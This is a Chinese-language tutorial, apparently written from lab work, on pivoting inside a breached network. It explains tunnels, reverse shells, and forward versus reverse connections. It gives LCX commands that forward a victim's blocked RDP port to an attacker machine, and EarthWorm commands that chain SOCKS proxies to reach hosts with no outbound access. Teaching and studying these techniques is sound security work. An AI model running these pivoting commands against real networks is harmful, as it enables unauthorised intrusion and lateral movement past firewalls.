基本概念
攻击者通过边界主机进入内网,往往会利用它当跳板进行横向渗透,但现在的内部网络大多部署了很多安全设备,网络结构错综复杂,对于某些系统的访问会受到各种阻挠,这就需要借助代理去突破这些限制
- 端口转发
端口转发有时被称为隧道,是安全壳(SSH)为网络安全通信使用的一种方法。若攻克的边界主机可访问外网,可以使用端口转发进行内网穿透,端口转发就是将一个端口转发到另一个端口 - 端口映射
端口映射是NAT的一种,功能是把在公网的地址转成私有地址。端口映射就是将一个端口映射到另一个端口供人使用 - 协议隧道
当我们搭建隧道时,通常使用不同的协议来躲避检测,常见的有HTTP隧道、SOCKS隧道、DNS隧道、ICMP隧道、SSH隧道等
HTTP隧道用的是HTTP协议,工作在应用层,主要用来代理浏览器访问网页
Socks隧道用的是Socks协议,工作在会话层,主要用来传递数据包。Socks隧道又分为Socks4和Socks5,Socks4只支持TCP,Socks5支持TCP和UDP - 反弹Shell
反弹Shell是指在攻击机监听某个端口,然后通过目标连接攻击机监听的端口,在攻击机反弹得到目标机的 Shell。通常在目标网络有防火墙或其他因素限制,导致无法持续控制目标,或执行命令受阻等情况时需要进行反弹Shell。常见的反弹shell方式为Bash反弹shell、NC反弹shell、python反弹shell等 - 正向和反向连接
正向和反向连接的概念取决于谁主动连接谁。攻击者主动连接受害者就是正向连接,受害者主动连接攻击者就是反向连接
端口转发
LCX是端口转发工具,分为Windows版和Linux版,Linux版本为PortMap。LCX有端口映射和端口转发两大功能,例如当目标的3389端口只对内开放而不对外开放时,可以使用端口映射将3389端口映射到目标的其他端口使用;当目标处于内网或目标配置的策略只允许访问固定某一端口时,可以通过端口转发突破限制
攻击机: Lcx.exe -listen <监听slave请求的端口> <连接的端口>
靶机:Lcx.exe -slave <攻击机ip> <监听端口> <目标ip> <目标端口>
- 环境准备
靶机win2008,IP:192.168.137.20,开启远程桌面
防火墙取消远程桌面勾选,禁止3389端口通信
攻击机IP:192.168.199.166,运行LCX开启监听slave的666端口,将666收到的流量转给本机的888端口
将LCX上传至靶机,将靶机本地的3389端口转发到攻击机的666端口
成功建立连接后,攻击机远程连接本地888端口,即可远程控制靶机
应用层代理
常见的代理工具有regeorg,FRP,EW,NPS,Termite,通过上述的代理,配合代理客户端实现内网漫游
EW全称叫做EarthWorm,具有SOCKS5服务架设和端口转发两大核心功能,并且包含着LCX工具的功能,可以再复杂的网络环境实现网络穿透。EW可以已正向和反向以及多级级联的方式建立网络隧道
- 环境准备
攻击机:win10,可与靶机1互通,无法访问靶机2和靶机3
靶机1:win7,双网卡,可与攻击机和靶机2互通
靶机2:win7,双网卡,与靶机1和靶机3互通且不出网
靶机3:win2008,与靶机2互通且不出网,IP:172.10.10.120 - 多级正向代理
靶机1架设socks代理端口999,ew -s ssocksd -l 999
攻击机添加代理服务器靶机1
攻击机成功走靶机1代理流量,可访问靶机2开放的web服务
靶机2架设socks代理端口888,ew -s ssocksd -l 888
攻击机添加代理服务器靶机2
创建代理链,先经过靶机1代理再经过靶机2代理
选中刚才创建的代理链使用
攻击机可成功访问靶机3的web服务